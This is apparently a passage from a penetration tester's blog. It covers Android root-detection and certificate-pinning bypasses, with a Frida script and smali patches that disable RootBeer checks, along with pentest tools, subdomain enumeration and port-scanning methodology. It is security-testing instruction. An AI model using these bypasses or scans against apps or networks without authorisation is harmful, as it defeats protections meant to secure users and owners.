            console.log("[+] checkForRootNative check bypassed!");
            return false;
        };
    } catch(err) {
        console.log("[-] Bypass attempt failed!");
    }
    
    try {
        RootBeer.detectRootCloakingApps.overload().implementation = function(){
            console.log("[+] detectRootCloakingApps check bypassed!");
            return false;
        };
    } catch(err) {
        console.log("[-] Bypass attempt failed!");
    }
    
    try {
        Utils.isSelinuxFlagInEnabled.overload().implementation = function(){
            console.log("[+] isSelinuxFlagInEnabled check bypassed!");
            return false;
        };
    } catch(err) {
        console.log("[-] Bypass attempt failed!");
    }
 
    try {
        RootBeer.checkForMagiskBinary.overload().implementation = function(){
            console.log("[+] checkForMagiskBinary check bypassed!");
            return false;
        };
    } catch(err) {
        console.log("[-] Bypass attempt failed!");
    }
    
    try {
        RootBeer.isRooted.overload().implementation = function(){
            console.log("[+] isRooted check bypassed!");
            return false;
        };
    } catch(err) {
        console.log("[-] Bypass attempt failed!");
    }
});

Tip: You can edit and save your script while Frida is running. This way, you don’t have to keep executing the same Frida command every time.

After loading the above script with Frida and running the application, it can be seen that all checks were bypassed.

Conclusion

It should be noted that Frida will not work at all times as there are applications which use protections, such as anti-tampering and anti-reversing techniques, that will detect Frida’s presence. If this is the case, you need to find a way to bypass these additional protections first or look for another method which does not involve Frida.

Lastly, if you’re not confident in writing your own Frida script, do not worry because there are ready-to-use Frida scripts which are hosted in Frida CodeShare.

Bypassing Android’s RootBeer Library (Part 1)

Fri, 29 May 2020 00:00:00 +0000

Introduction

In my previous post, I made a comparison between the different well-known and open-source root-detection bypass tools for Android. In that post, I encouraged analysts to learn how to reverse engineer an application and bypass an application’s protection manually.

This post is a follow up on how to bypass the different checks used by RootBeer library by changing the application’s process through code manipulation.

First Attempt

Before you could modify an application’s code, you first need to have a copy of the APK file. After downloading the application (RootBeer Sample) from the Play Store, the following series of commands can be used to extract the APK file from the Android device.

$ adb shell pm path com.scottyab.rootbeer.sample
$ adb pull <apk-path>

If you’re like me and do not like typing series of commands, the easiest way to retrieve an APK file from a device is by using Frida Android Helper.

Once you have a copy of the APK file, decompile it using apktool.

Tip 1: Sometimes, rebuilding a decompiled application results in an error. One way to fix that error is by removing the file 1.apk (highlighted above) before rebuilding the app.

Tip 2: If an error related to “resources” shows during the building process, try excluding the resources during the decompilation by using the -r flag (shown below).

Reading smali code is not as easy as reading java code. So if you’re not comfortable with smali, you can open the APK file in jadx-gui to view its java equivalent and use it as a reference to gain better understanding.

Looking at the RootBeer (com.scottyab.rootbeer.RootBeer) class, there exists a function called isRooted() which, as per its name, is responsible for identifying whether the device is rooted.

The equivalent smali code of this class is located in /decompiled/smali/com/scottyab/rootber/RootBeer.smali. From this smali code, the isRooted() function is located on line 1084 (as shown below).

On line 1158, it can be seen that the isRooted() function returns whatever value the variable v0 holds. To force this function to return the value of false, just change the value of the variable v0 from 0x1 to 0x0 (shown in line 1155).

After doing the necessary changes, rebuild the application using apktool.

Before installing the application, make sure to sign it using your own certificate or a debug certificate. To sign the application easily, you can use uber-apk-signer.

Using the modified application, it can be seen that we’ve successfully forced the result to “NOT ROOTED” (see the right image below). However, nothing changed with the different checks used by RootBeer; some of the checks still failed.

This happened because we only modified one function of the application and forced it to return as “NOT ROOTED”. To pass all the checks used by the RootBeer library, we need to modify and bypass all the relevant functions.

Second Attempt

So how can we find all these functions? If we look at the RootCheckTask (com.scottyab.rootbeer.sample.CheckRootTask) class, there’s a function called doInBackground() which can be used to identify the different functions/checks used by RootBeer. This list of functions can be used as a reference to determine which smali code/files to modify.

The following lists the changes that were made to the relevant classes and functions to bypass all of RootBeer’s checks.

Note: bold text in the code snippets below signifies the changes that were made.

RootBeer (com.scottyab.rootbeer.RootBeer) Class

detectRootManagementApps() - inserted return v0.


.method public detectRootManagementApps()Z
    .locals 1    
    
    const/4 v0, 0x0
    return v0

[...]

detectPotentiallyDangerousApps() - inserted return v0.


.method public detectPotentiallyDangerousApps()Z
    .locals 1    
    
    const/4 v0, 0x0
    return v0

[...]

detectTestKeys() - changed const/4 v0, 0x1 to const/4 v0, 0x0.


.method public detectTestKeys()Z
[...]  
    
    const/4 v0, 0x0
    
    goto :goto_0
    
    :cond_0
    const/4 v0, 0x0
    
    :goto_0
    return v0

checkForBusyBoxBinary() - changed move-result v0 to const/4 v0, 0x0.


.method public checkForBusyBoxBinary()Z
[...]  
    
    const/4 v0, 0x0

    return v0
.end method

checkForSuBinary() - changed move-result v0 to const/4 v0, 0x0.


.method public checkForSuBinary()Z
[...]  
    
    const/4 v0, 0x0

    return v0
.end method

checkSuExists() - inserted return v0.


.method public checkSuExists()Z
    .locals 6 
    
    const/4 v0, 0x0
    return v0
    const/4 v1, 0x0

[...]

checkForRWPaths() - inserted return v1.


.method public checkForRWPaths()Z
    .locals 16

    .line 301
    invoke-direct/range {p0 .. p0}, Lcom/scottyab/rootbeer/RootBeer;->mountReader()[Ljava/lang/String;
    
    move-result-object v0

    const/4 v1, 0x0
    return v1

[...]

checkForDangerousProps() - changed const/4 v4, 0x1 to const/4 v4, 0x0.


.method public checkForDangerousProps()Z
[...]

    invoke-static {v4}, Lcom/scottyab/rootbeer/util/QLog;->v(Ljava/lang/Object;)V
    
    const/4 v1, 0x0

    goto :goto_1

    :cond_2
    add-int/lit8 v2, v2, 0x1

    goto :goto_0
    
    :cond_3
    return v4
.end method

checkForRootNative() - changed const/4 v1, 0x1 to const/4 v1, 0x0.


.method public checkForRootNative()Z
[...]

    if-lez v0, :cond_2
    
    const/4 v1, 0x0

    :catch_0
    :cond_2
    return v1
.end method

detectRootCloakingApps() - changed const/4 v0, 0x1 to const/4 v0, 0x0.


.method public detectRootCloakingApps()Z
[...]

    :cond_1
    :goto_0
    
    const/4 v0, 0x0

    :goto_1
    return v0
.end method

checkForMagiskBinary() - changed move-result v0 to const/4 v0, 0x0.


.method public checkForMagiskBinary()Z
[...]
    
    const/4 v0, 0x0

    return v0
.end method

Utils (com.scottyab.rootbeer.util) Class

isSelinuxFlagInEnabled() - inserted return v0.


.method public static isSelinuxFlagInEnabled()Z
    .locals 6
    
    const/4 v0, 0x0
    return v0

[...]

After doing the above changes, the last thing to do is to rebuild, resign, and re-install the modified application.

Though the process of modifying the application’s code took quite some time, it’s worth the effort as it resulted in all the checks being bypassed.

Conclusion

The way I modified the application’s code (e.g., inserting return v0 after a few lines of the beginning of a function) is not the only way to do it. We all think differently and each of us could come up with different ways on how to solve a problem. So it doesn’t matter how you do your modifications as long as you’re getting the results that you’re aiming for.

Comparison of Different Root-Detection Bypass Tools

Wed, 27 May 2020 00:00:00 +0000

Introduction

When testing Android applications, it is recommended to use a rooted device to perform the assessment efficiently and thoroughly. However, some applications have an additional layer of protection, which prevents an application from running on a rooted device. When presented with this scenario, one of the restrictions a tester need to overcome is the root-detection mechanism used by the application.

Several tools already exist to defeat an application’s root-detection mechanisms. But which one performs best? To answer this question, I decided to perform a comparison between these root-detection bypass tools. The goal of this experiment is to identify which tool performs best and to help analysts to have a “go-to” tool when bypassing an app’s root-detection implementation.

The target application used here is RootBeer Sample (v0.8); a sample app which utilizes the RootBeer library.

What is RootBeer?

RootBeer is an open-source library which can be used by developers to verify the integrity of an Android device and check whether it is rooted or not. RootBeer performs the following checks as an indication of root:

Presence of apps used to manage superuser/root access (e.g., eu.chainfire.supersu and com.topjohnwu.magisk)
Installation of apps that require root (e.g., com.keramidas.TitaniumBackup and com.chelpus.luckypatcher)
Detection of root-cloaking apps which can hide the root status of a device (e.g, com.devadvance.rootcloak2)
Review of the build properties (android.os.Build.TAGS) for test-keys
Locations of binaries, such as busybox and su, which are usually present in a rooted device (e.g., /system/xbin/" and /su/bin/)
Analysis of system folders that should not be writable (e.g., /system)
Look up of system properties that can only be changed when the device is rooted (e.g., ro.debuggable and ro.secure)

Test Setup

The following Android device was used for this experiment:

Device: Lenovo P8 (TB-8703F)
Android Version: Pie (9.0)
ROM: PixelExperience

This device was installed with the following applications which use and require root permissions:

As a baseline for this experiment, RootBeer Sample was executed without any root-detection bypass tool used. Using this baseline setup, 6/11 checks failed.

List of Tools

This experiment only covered the following well-known and open-source root-detection bypass tools:

Tool #1: RootCloak

RootCloak is a very popular Xposed module that can be used to hide the root status of a device. Even though the module’s repo page states “with 5.x and 6.x support” and my device was running Android 9.0, I still tried it.

RootCloak is very simple to use. Just add the target application (RootBeer Sample in this case) and you’re good to go.

Surprisingly, RootCloak bypassed some checks used by RootBeer library. Even though there’s no official statement that the module supports Android 9.0, it still worked. Using RootCloak, 7/11 checks were bypassed.

Tool #2: UnRootBeer

The next tool is UnRootBeer, which is another Xposed module specifically developed to disable the checks performed by RootBeer library. To use this tool, just install the APK file, and reboot the device to activate the module.

As seen from the result below, UnRootBeer performed better than RootCloak as it passed 8/11 checks. While this tool was specifically developed to bypass the checks being performed by RootBeer library, it is not surprising that it failed some checks because this tool has not been updated for quite some time.

Be wary though because while three checks failed, the result still says NOT ROOTED. The goal of this experiment is to pass all RootBeer library checks.

Tool #3: Fridantiroot

The next tool involves Frida, which is a dynamic instrumentation toolkit that can be used to tamper an application’s process. For this experiment, the publicly available JS script (Fridantiroot) was used. However, this script didn’t work on my device (at the time of doing this experiment).

Luckily, I found a modified version of Fridantiroot which worked on my device.

The result was very surprising because it almost passed all the checks, with a score of 10/11.

Please note that one of the checks failed and yet the app still considered it as NOT ROOTED.

Tool #4: Objection

Objection is a runtime toolkit powered by Frida. Using the command android root disable, objection will attempt to bypass an app’s root-detection mechanism.

As seen below, objection’s root-detection bypass command didn’t provide a pleasing result, as it only passed 5 out of 11 checks.

Tool #5: Magisk Hide

One of the features of Magisk is Magisk Hide, which can be used to bypass root-detection and system integrity checks.

Since Magisk v20.4, Magisk Hide is disabled by default. To enable this feature, open Magisk Manager, click Settings from the sidebar, toggle ON the Magisk Hide option, and restart the app.

Take note that Magisk Hide and Frida do not work well together. To use one of them, the other one must be disabled first.

Bypassing an app’s root-detection mechanism is as simple as adding the app to the Hide list (just like in RootCloak).

After adding RootBeer Sample to Magisk Hide, the result was a near-perfect score, with 10 out of 11 checks were passed.

Tool #5: Hiding Magisk Manager

Looking back at the result of using Magisk Hide, only the first check (Root Management Apps) failed. This was because one of the checks used by RootBeer library is to look for the presence of root management apps, such as Magisk Manager (com.topjohnwu.magisk).

Since Magisk v20.1, a new feature was introduced that could repackage Magisk Manager with a random package and app names. To use this feature, click the Settings option from the sidebar, click the Hide Magisk Manager option, and set Magisk Manager’s new app name.

After doing the above steps and using this feature, Magisk Manager’s package name changed to a random one.

So how did it perform? Well, it did not do well and only 7 checks passed.

Tool #5: Magisk Hide + Hiding Magisk Manager

Since Magisk Hide and Hide Magisk Manager are both features of Magisk, why not use both features at the same time? It turned out that this was what we’re aiming for. The result was outstanding! The result stating that it is NOT ROOTED was valid since all checks passed.

Results

For ease of viewing, the following table summarizes the results obtained from this experiment.

Among all the tools covered in this experiment, only Magisk’s features (Magisk Hide and Hiding Magisk Manager) gave the best result.

Final Thoughts

While the goal of this experiment is to have a “go-to” tool when bypassing root-detection mechanisms, testers should be aware that the results gathered here will not always be the same against every application. This is because app developers can modify and improve the RootBeer library by adding more checks, or they could use their custom anti-root solutions. Thus, I encourage analysts to also learn how to reverse engineer an application and bypass an app’s root-detection manually.

Lastly, no root-detection mechanism can ever be perfect. That’s why it is recommended to implement additional security measures to make a bypass more difficult to achieve. Such measures include the use of run-time protections, as well as anti-reversing and anti-tampering solutions.

Bypassing OkHttp Certificate Pinning

Mon, 24 Feb 2020 00:00:00 +0000

Yesterday, I was analyzing an Android application which uses OkHttp for certificate pinning. It took me hours to analyze the app, and have tried different methods to circumvent the app’s certificate pinning implementation. If I had only been monitoring the system log while running the app, I could have done it in just a matter of minutes. I might have wasted a lot of time and effort, but at least I’ve learned.

Here’s my write up on how I bypassed OkHttp’s Certificate Pinning implementation.

Attempt #1: Using Xposed Modules

Since I had Xposed running on my test device, I first used the modules SSLUnpinning and TrustMeAlready. I know these modules are outdated, but it might still work. Unfortunately, it didn’t work on the app that I’m testing.

Attempt #2: Using Frida Scripts

My second attempt involved the use of Frida. After setting it up on my test device, I immediately tried the “most popular” Frida script on CodeShare which is the Universal Android SSL Pinning Bypass script. But what I got was just an error.

NOTE: The reason I got the error because I forgot to copy Burp’s cert into /data/local/tmp/cert-der.crt. Anyway, fixing the error still didn’t solve my problem of bypassing the app’s cert pinning implementation.

I tried another script but no luck as well. It did not even successfully detect the certificate pinning implementation used by the app.

I ended up trying all Frida scripts from CodeShare related to certificate pinning bypass but none of them worked.

Attempt #3: Via Manual Modification

I decided to look at the system log to see what’s happening in the background when the app is running. From the app’s log, I found the following certificate fingerprints (highlighted in green).

Basically, the app checks for these fingerprints. If the fingerprint from the certificate chain matches one of the pinned fingerprints, then the peer’s identity has been verified and SSL pinning can be bypassed.

Before I could inject Burp’s certificate fingerprint, I first decompiled the app and look for the file where these pinned certificates were located. From the output below, the pinned fingerprints were located in /res/values/arrays.xml.

I then injected Burp’s certificate fingerprint to the list inside /res/values/arrays.xml.

Lastly, I recompiled the app and installed it.

That’s it! I was able to bypass the app’s certificate pinning mechanism.

Lesson Learned: Always keep an eye on the system log while running the target application.

Filtering the OPTIONS Method in Burp

Mon, 06 Jan 2020 00:00:00 +0000

UPDATE 2: The extension is now available from the BApp Store.

UPDATE 1: Instead of emptying the response, I decided to comment them out instead so the response body (if there’s any) is still intact.

My first week of 2020 started with testing an application which performs several CORS preflight requests. These “unwanted” preflight requests filled up my Burp’s “HTTP history”.

I wanted to filter out these OPTIONS requests, so I could have an uncluttered “HTTP history”. Unfortunately, Burp does not have an option to do what I wanted. Thankfully, our friend Google is always there to help me. The search result led me to this blog post and @CryptoGangsta has a detailed walkthrough and explanation on how he wrote a Burp Extension to filter out these OPTIONS requests. His post contains a link to his Burp Extension burp-filter-options, so I tried it. The extension worked and was able to change the Content-Type to CSS, but Burp still categorized the responses as JSON instead of CSS.

I reread his post and I tried using the draft version of his extension (burp3.py). Again, the extension successfully injected the new Content-Type (CSS) header but the original Content-Type (JSON) header still existed.

Using the codes from the post, I made the following modifications:

This checks the original response for the presence of Content-Type header. If it exists, remove it. This is done as an assurance that there’s only one Content-Type header in the response.

removeHeaders = ""
for headers in responseHeaders:
    if "Content-Type: " in headers:
        removeHeaders = headers
try:
    responseHeaders.remove(removeHeaders)
except:
    pass

After injecting the new Content-Type header, comment out the response body. Going back to the first extension that I tried, it can be seen that Burp keep on recognizing the MIME type as JSON even if the Content-Type was already set to CSS. I discovered that this happens because of the presence of {} in the response body.

responseHeaders.add("Content-Type: text/css; charset=UTF-8")
responseBodyBytes = "/* Injected by 'Filter OPTIONS Method'\n\n" + responseBytes[responseInfo.getBodyOffset():] + "\n\nInjected by 'Filter OPTIONS Method' */"
responseModified = self._helpers.buildHttpMessage(responseHeaders, responseBodyBytes)
messageInfo.setResponse(responseModified)

By doing these modifications, I now got what I wanted!

Now, to filter these OPTIONS requests from “HTTP history”, untick the CSS checkbox under the “Filter by MIME type” option.

That’s it! I tried it on other web applications and it’s also working. Hooray!

Once again, huge thanks to @CryptoGangsta for his blog post.

My version of this Burp extension can be found at:

https://github.com/capt-meelo/filter-options-method

Lesser-known Tools for Android Application PenTesting

Mon, 30 Dec 2019 00:00:00 +0000

Introduction

In the past few months, I’ve been doing a lot of android application security assessments. Over time, I became familiar with the different tools, popular or not, that helped me in my assessments. In this post, I’ll list down these not-so-popular tools (in my opinion based on the different sources and blogs that I have read where these tools were not mentioned) that I’m using during my engagements.

Note: There’s nothing fancy in this post. Just some tools that I found useful.

Magisk

While Magisk is a very popular framework and shouldn’t be considered as one of the “lesser-known” tools, it’s important that I mention it here since some of the tools included in this post are either a feature of Magisk or a module that you can install with Magisk.

So if you don’t have Magisk on your testing device, make sure to install it now!

Magisk Hide

Magisk Hide is the first tool that will be discussed since it has saved me a lot of time when bypassing an application’s root detection mechanism. Magisk Hide is one of the features of Magisk, and bypassing root detection is as simple as toggling the switch ON.

As an example, let’s try bypassing the root detection mechanism of the PS4 Remote Play app. When running this application on a rooted device, the following error shows up:

To bypass the root detection of this application, open Magisk Manager, tap the menu icon ☰ (top left corner) and select Magisk Hide.

Select the target application (“PS4 Remote Play” in this case) from the list of applications.

Run the app again and we should now be able to launch the PS4 Remote Play without the error.

If root detection was still not bypassed after adding the application in the Magiks Hide list, try hiding the Magisk Manager app itself. To do this, open Magisk Manager, tap the menu icon ☰ (top left corner) and select Setting. Then tap the Hide Magisk Manager option.

This repackages the Magisk Manager app with a random package name and changes the app name from Magisk Manager to just Manager.

Move Certificate

Starting with Android Nougat (API Level 24), applications, by default, no longer trust user-added certificate for secure connections. This results in the following errors when capturing HTTPS traffic from an application running on Android Nougat and above.

One method to resolve this issue is to add user-installed certificates to the system certificate store. This can be done manually or automatically using the Magisk module Move Certificate. Of course, I prefer the Magisk way! After installing the module, all user-installed certificate will be added automatically to the system certificate store.

Root Certificate Manager

If you’re using an old device and/or you don’t have Magisk, the other tool that could be used to ease up the process of adding a certificate to the system store is by using Root Certificate Manager.

DisableFlagSecure

Sensitive applications, such as mobile bankings, password managers, 2FA apps, etc., do not allow screenshots to be taken for security purposes. As an example, when taking a screenshot of the Aegis Authenticator 2FA app, the following error shows:

When testing this kind of applications, taking evidence for findings which require showing the app or its screens is a bit of a hassle. Before, what I would do is to have another phone with me and take a photo of my testing device.

This method annoys me because I have to make sure that the photo I’m taking is focused and clear. Plus, it doesn’t look great as evidence in a pentest report. Then I discovered the Xposed module DisableFlagSecure.

This module disables the FLAG_SECURE window flag system-wide. FLAG_SECURE is is responsible for preventing screenshots to be taken.

After installing DisableFlagSecure from Xposed and rebooting the device, screenshots can now be taken.

Smali Patcher

If you want to disable FLAG_SECURE “systemless-ly”, this can be done through Magisk with the help of Smali Patcher.

After running SmaliPatcher.exe for the first time, it will download the necessary binaries and tools that it needs and will store them in the bin and tmp folders.

Before clicking the ADB PATCH button, ensure the following are met:

USB Debugging is enabled
Device is attached to the PC
USB Debugging connection is authorized
Desired patch is ticked (Secure flag in this case)

Once SmaliPatcher is done running, a zip file will be created on the working directory. Just flash this zip file through Magisk, reboot, and the patch (disabling FLAG_SECURE in this case) will be applied.

SmaliPatcher also supports other patches as seen from the “Patch Options” section of the tool. It’s up to the reader to discover these patches.

ADB Manager

If you’re like me who has several testing devices but has only one cable available for connecting these devices into the computer, or you just hate cables, I found ADB Manager to be very useful. This application allows you to establish an ADB shell via Wi-Fi.

Upon opening ADB Manager, just click the Start Network ADB button.

To establish an ADB shell to the testing device (make sure USB Debugging is enabled), just type the following commands:

adb connect <ip-addr-shown-in-ADB-Manager>:<port-shown-in-ADB-Manager>
adb shell

ProxyDroid

When intercepting traffic from a device, you’ll observe a lot of traffic coming from applications other than the target application.

Some of this traffic comes from background services running on the phone, and these unwanted data fill up the proxy history. This causes confusion as to whether a certain HTTP request came from the target application or not. To filter out these unwanted data, the simplest solution is to add the list of target hosts under the proxy’s target scope setting. However, I find this method to be repetitive since I have to do this for every engagement. Also, what if I just wanted to analyze a particular app and I don’t have an idea about the hosts the app is making requests to?

Here comes ProxyDroid! Using its Individual Proxy option, you can select specific app or apps which you want to proxy.

Under the Individual Proxy setting, just tick the app or apps you want to proxy, then switch ON ProxyDroid and everything should be good.

pidcat

Some applications write sensitive data, in plain-text format, in the system log. The system log can be viewed using Android’s Logcat utility. By simply running the command adb logcat, it prints out a lot of unnecessary data which makes the analysis very hard and confusing.

To remove these unnecessary logs, we can filter Logcat’s output based on the target application using the following one-liner command:

adb logcat | grep "$(adb shell ps | grep <target-app-package-name> | awk '{print $2}')"

While the above command cleans up the messy Logcat’s default output, my preferred method is by using pidcat. To show log entries for processes from a specific application, just run this simple command:

pidcat <target-app-package-name>

Aside from the simplicity of running the command, you also have a nice colorful output.

resize

When typing long commands in an ADB shell, you’ll notice that the terminal size is limited.

This is annoying especially when I’m viewing and analysing a file’s contents. Thankfully, BusyBox’s resize binary exists. Just run the command resize and you can now enjoy the full size of your terminal.

If you’re testing on a physical device, you can install BusyBox via Playstore or do it “systemless-ly” via Magisk

In an emulator which does not have the Google Playstore app, you can install BusyBox with the following commands:

wget --no-parent --no-host-directories --cut-dirs 3 -r https://busybox.net/downloads/binaries/1.30.0-i686/ -P /tmp/busybox
adb push /tmp/busybox /data/data/busybox
adb shell "mount -o rw,remount /system && mv /data/data/busybox /system/bin/busybox && chmod 755 /system/bin/busybox/busybox && /system/bin/busybox/busybox --install /system/bin"

scrcpy

When performing an assessment, I always look back and forth between my phone (to play around with the app I’m testing) and my monitors (to see what’s going on while piddling with the app, etc.). I find it annoying and it hurts my neck when looking at my phone for a long period since it is sitting on my desk.

Good thing scrcpy exists, which allowed me to view and control my device from my PC. To use it, just run the command scrcpy and you’re good to go.

frida-android-helper

frida-android-helper is a very handy tool for someone (like me) who doesn’t like typing long commands or a series of commands just to do one thing. For example, if you’re using adb to take a screenshot, you would have to type the following commands to take a screenshot and pull it from your phone to your pc.

# adb shell screencap -p /sdcard/screencap.png
# adb pull /sdcard/screencap.png

But with frida-android-helper, this can be done with a simple command; fah screen.

Another feature I liked is how easy it is to manage (starting, stopping, updating, etc.) Frida. No need to run multiple commands. For example, to update Frida, just execute fah server update then it will fetch and install the latest version of frida-server.

┌──(venv)(root💀kali)-[~]
└─# fah server update
⚡ Updating frida-server
📲 Device: LenovoTB-8703F_A9 (192.168.1.14:5555)
⚡ Downloading frida-server-15.1.17-android-arm64.xz...
⚡ Extracting frida-server-15.1.17-android-arm64.xz...
⚡ Writing frida-server-15.1.17-android-arm64.xz...

Conclusion

That’s all. Thanks for reading!

Asset Enumeration: Expanding a Target's Attack Surface

Mon, 02 Sep 2019 00:00:00 +0000

Introduction

Whenever I’m doing bug hunting sessions with a wide range of scope (e.g. CIDRs, subdomains, all assets belonging to a company, etc.), I’m always overwhelmed with the amount of information that I have to gather to expand my attack surface. It’s true that a wider scope = a larger attack surface = more chances of pwning. However, increasing the attack surface is always a challenge for me.

In this post, I’ll describe the methodology that I’m using to expand the attack surface of my target domain or company.

Please note that this methodology is limited only to enumerating subdomains and finding the domains associated with the target domain.

Asset Discovery

Given a target domain, there are two ways to expand its attack surface:

Find as many domain names as possible that share the same base domain with the target. This is commonly called as subdomain enumeration.
Identify all domain names “associated” with the target domain.

The illustration below helps differentiate what the two methods do.

Now let’s take a look at the methodology that I’m using to enumerate both the subdomains and the associated domains.

Subdomain Enumeration

The focus of this step is to identify as much subdomains as possible that are tied to the target domain. Ideally, we want to go as deep as we can. What do I mean by that is we don’t want to limit our enumeration in finding only the subdomains of the target domain. We also want to identify the subdomains of the subdomains of the target domain. For example, we want to also identify another.subdomain.domain.com, and not just subdomain.domain.com.

There are many tools that will do subdomain enumeration but not all of them provide good results. Personally, I prefer to use a tool that combines results from various enumeration services or sources of inputs, and has all the options and functionalities that I need such as recursive brute force and alteration of words.

For subdomain enumeration, I always start with Amass using its -passive option.

amass enum -passive -d <DOMAIN> -o <OUT_FILE>

Followed by a brute force attack on the target domain using either all.txt or commonspeak2.

amass enum -brute -w <WORDLIST> -d <DOMAIN> -o <OUT_FILE>

The success and efficiency of your brute force attack relies mostly on your wordlist; so better use a highly-reputed one.

If you want to speed up the performance of Amass, you can use the options -noalts, -norecursive, and -max-dns-queries. Just don’t be surprised if you got fewer results.

Not all subdomains gathered from the above commands will resolve to its corresponding IP addresses. To filter out only those that will be resolved, I prefer to use Massdns.

./bin/massdns -r lists/resolvers.txt -o S <LIST_OF_SUBDOMAINS> | grep -e ' A ' |  cut -d 'A' -f 1 | rev | cut -d "." -f1 --complement | rev | sort | uniq > <OUT_FILE>

Associated Domains Enumeration

Through acquisitions and merges, it is not only a company’s business that grows but also their domains and associated domains. For example, when “Facebook, Inc.” acquired Instragram and Whatsapp, the domains instragram.com and whatsapp.com became associated with facebook.com.

As we can see from the following whois queries below, the domains facebook.com, instagram.com, and whatsapp.com were all registered by the email address domain@fb.com.

To enumerate domains that are associated with the target domain, we could use the Registrant Email record taken from a WHOIS search result and perform a Reverse WHOIS Lookup. This can be done using sites such as viewdns.info or whoisxmlapi.com.

You can also run a Reverse WHOIS Lookup based on the Registrant Organization record to get different results.

It is normal to get overlapping results when performing Reverse WHOIS Lookup based on Registrant Email and Registrant Organization records, so make some post-processing and remove the duplicates.

Be wary that most “Reverse WHOIS” services are freemium. If you want to get more results (or have the full report), they require you to spend some $$$.

Filling Up the Empty Areas

Now that we’ve already enumerated the target domain “vertically” and “horizontally”, should we stop and proceed with attacking these subdomains and associated domains? I’d say NO!.

Wouldn’t it be nice if we expand more our target’s attack surface by filling up the empty areas (shown in red boxes) below?

We can do this by doing subdomain enumeration on every associated domains that we’ve discovered from the previous step. Obviously, this will take way more time than doing a subdomain enumeration on the target domain alone. But who cares? Right? Remember, a larger attack surface = more chances of pwning.

But before that, filter first only those associated domains that will be resolved:

./bin/massdns -r lists/resolvers.txt -o S <LIST_OF_ASSOCIATED_DOMAINS> | grep -e ' A ' |  cut -d 'A' -f 1 | rev | cut -d "." -f1 --complement | rev | sort | uniq > <OUT_FILE>

Then run another subdomain enumeration via:

amass enum -passive -df <LIST_OF_RESOLVED_ASSOCIATED_DOMAINS> -o <OUT_FILE>

or through brute force attack:

amass enum -brute -w <WORDLIST> -df <LIST_OF_RESOLVED_ASSOCIATED_DOMAINS> -o <OUT_FILE>

If you have a powerful machine, you can speed up this process by running multiple concurrent jobs using GNU Parallel or Xargs. For example:

cat <LIST_OF_RESOLVED_ASSOCIATED_DOMAINS> | parallel -j <NO_OF_CONCURRENT_JOBS> "amass enum -passive -d {} -o {}.out"

I prefer to use GNU Parallel so you won’t see commands related to xargs here.

One you’ve enumerated the subdomains of all identified associated domains, filter them out again by running a DNS resolution using Massdns.

What’s Next?

After doing the above steps, the last thing to do is to combine them and remove any duplicates.

Using all these enumerated data/hosts, you can do the following:

Check for subdomain takeover
Run a port scan and identify any running services
Take screenshots for host/s that have web service/s running
Run a directory brute force attack
etc.

Conclusion

This methodology is what I’m doing when I’m trying to do bug bounties. I cannot guarantee that this will work for you as well, and there’s no assurance that you will find any bug once you follow this methodology. This post was written to share my knowledge and to help bug hunters like me who are struggling with expanding a target’s attack surface.

That’s it for this post. I hope you will find this useful.

Finding the Balance Between Speed & Accuracy During an Internet-wide Port Scanning

Mon, 29 Jul 2019 00:00:00 +0000

Introduction

Reconnaissance is the most important phase in every bug bounty session or pentest engagement. A good recon can make a difference between a successful and failed result. Reconnaissance can be categorized into two: active and passive. One of the methods used during active reconnaissance is port scanning. This method allows pentesters and bug hunters to determine which ports are open on the target hosts or networks, as well as identify the services running on these ports.

However, port scanning always comes with a trade-off between speed and accuracy. During pentest engagements, the tester’s time is limited; while in bug bounties, there is always a race on who can discover and submit the bug first. These reasons force us to prioritize speed over accuracy during port scanning. The drawback to this is the failure to be accurate. With the race against time, we are missing open ports that could lead to a successful pentest engagement or bug hunting.

This research aims to find the balance between speed and accuracy during an Internet-wide port scanning using open-source and well-known tools.

I created MassMap to automate port scanning of large target IP addresses and/or CIDR notations. This tool was based on the result of this research.

Port Scanning Overview

Port scanning is one of the most commonly used techniques when doing reconnaissance. This technique allows pentesters or bug hunters to identify open ports available on a host, as well as recognize the services running on these open ports.

Port scanners can be categorized on how they operate: connection-oriented (synchronous mode) and connectionless (asynchronous mode) scanners.

Connection-oriented (Synchronous Mode)

This type of scanner sends a request to the target port/s and wait for a response until the timeout period expires. The drawback with this type of scanner is its slow performance because the scanner will not proceed to the next target port or IP until the current connection has been closed.

The good thing about connection-oriented scanners is that they are more accurate because they can recognize dropped packets.

The most popular example of a connection-oriented scanner is Nmap.

Connectionless (Asynchronous Mode)

Connectionless scanners do not rely on the completion of the current port being probe to start the next one since they have separate transmit and receive threads. This allows them to do a high-speed scan. However, these scanners are less accurate since they cannot detect dropped packets.

Masscan and Zmap are two of the most popular connectionless scanners available.

Nmap vs Masscan

For this research, only Nmap and Masscan were included. While Zmap produces good results and a fast scanner, it can only scan one port at a time. Based on experience, Zmap scan is still slow even when multiple jobs are running at the same time.

In spite of the good performances, features, and results that Nmap and Masscan provide, they still have their own weaknesses. The table below shows the PROS and CONS of both tools.

Take note that this is a not detailed comparison between the two tools. Only those that are relevant to the research were listed.

	Nmap	Masscan
PROS	- More accurate between the two (uses synchronous mode) - Has a lot of features - Accepts both domain names & IP addresses (both IPv4 & IPv6)	- Very fast (uses asynchronous mode)- Syntax is very similar to Nmap
CONS	- Very slow when scanning hundreds of thousands of targets	- Inaccurate results when scanning large port ranges with high rates [1] - Does not accept domain names as target input - Does not automatically adjust the transmission rate according to the environment

Research Idea

Based on the advantages and disadvantages of the tools listed above, the following solutions and problems were identified in trying to find the balance between speed and accuracy.

Solutions

The following were formed based on the PROS of the tools:

Combine Nmap’s accuracy and its features with Masscan’s speed.
Use Masscan to do the initial port scan to identify open ports and hosts that have open ports.
Use Masscan’s result (identified open ports and hosts) as input to Nmap for a detailed port scan.

Problems

While the ideas listed above are great, we still need to solve the CONS of each tool. Specifically, we need to solve:

Nmap’s slow performance when scanning hundreds of thousands of targets.
Masscan’s inaccuracy when scanning large port ranges with high rates [2].

Research Setup

Target Networks

The following subnets were chosen as the target networks for this research:

Targets	Subnets
A	A.A.0.0/16
B	B.B.0.0/16
C	C.C.0.0/16
D	D.D.0.0/16

Scanning Machine

Only one scanning machine was used during the research due to limited budget. The scanning machine used was a $20 VPS from DigitalOcean with 4GB RAM, 2 vCPUs, and 4TB of monthly bandwidth. Throughout the entire research, this machine only used 1 IP address located at a fixed location.

Test Cases

For this research, both tools have their own test cases which are variations of the different options available in each tool. These test cases aim to solve the CONS of the tools and take advantage of their PROS to find the balance between speed and accuracy.

Masscan:

Regular scan of all TCP ports with varying rates.
Split the /16 target subnet into chunks of /20, and run X concurrent Masscan jobs, each with Y rate.
